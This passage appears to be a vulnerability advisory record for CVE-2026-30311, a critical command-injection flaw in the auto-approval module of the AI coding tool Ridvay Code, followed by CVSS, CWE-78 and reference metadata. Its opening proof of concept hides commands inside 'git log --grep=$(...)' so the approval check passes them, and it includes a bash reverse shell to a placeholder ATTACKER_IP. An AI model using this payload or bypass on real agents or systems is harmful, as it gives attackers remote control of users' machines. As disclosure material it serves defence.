CVE-2026-30311

# PoC for CVE-2026-30311 Ridvay Code RCE # The vulnerability allows command injection via shell substitution in the auto-approval module. # Example 1: Simple command injection to verify user (whoami) # The system approves 'git log' but executes 'whoami' first. cmd = "git log --grep=\"$(whoami)\"" # Example 2: Creating a reverse shell # Replace ATTACKER_IP with the actual IP address. cmd = "git log --grep=\"$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')\"" # Send the malicious command to the vulnerable endpoint # (Implementation depends on the specific API endpoint of Ridvay Code) print(f"Executing payload: {cmd}")

An attacker can construct a command such as git log --grep=\"$(malicious_command)\", forcing Syntx to misidentify it as a safe git operation and automatically approve it. The underlying Shell prioritizes the execution of the malicious code injected within the arguments, resulting in Remote Code Execution without any user interaction."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ridvay:auto-approval_module:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.1.1", "matchCriteriaId": "37024489-48B5-4B6F-8818-6EB0CEFF5A06"}]}]}], "references": [{"url": "https://github.com/Secsys-FDU/LLM-Tool-Calling-CVEs/issues/8", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://ridvay.com/", "source": "[email protected]", "tags": ["Product"]}]}}
